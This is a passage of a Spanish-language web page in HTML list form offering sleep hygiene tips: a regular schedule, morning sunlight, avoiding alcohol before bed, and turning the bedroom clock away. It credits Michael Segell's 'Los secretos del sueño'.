<li>Mantén un horario regular los siete días de la semana. Evita el deseo de dormir tarde los fines de semana. Aunque esto pueda hacerte sentir bien mientras lo estas haciendo, dormir tarde en fines de semana puede conducir al insomnio durante la semana.</li>
<li>Toma al menos media hora de luz solar, tal vez caminado unos 30 minutos. El sol de las mañanas ayuda a situar el reloj biológico de las personas. Sin la luz solar, tu cuerpo no sabe despertarse.</li>
<li>No beber alcohol.  Aunque bebiendo antes de ir a dormir hace que te adormezcas, el alcohol cambia este efecto despues de un corto tiempo. Estos efectos secundarios puede hacer que te despierte durante la segunda mitad de tu sueño.</li>
<li>Conserva la cara del reloj de tu recamara dirigida hacia otro lugar, y no averiguar que hora es cuando despiertes en la noche.</li>
</ol>
<p><strong>¡Felices sueños!</strong></p>
<p><em>Fuente: &#8220;Los secretos del sueño&#8221; por Michael Segell</em></p>
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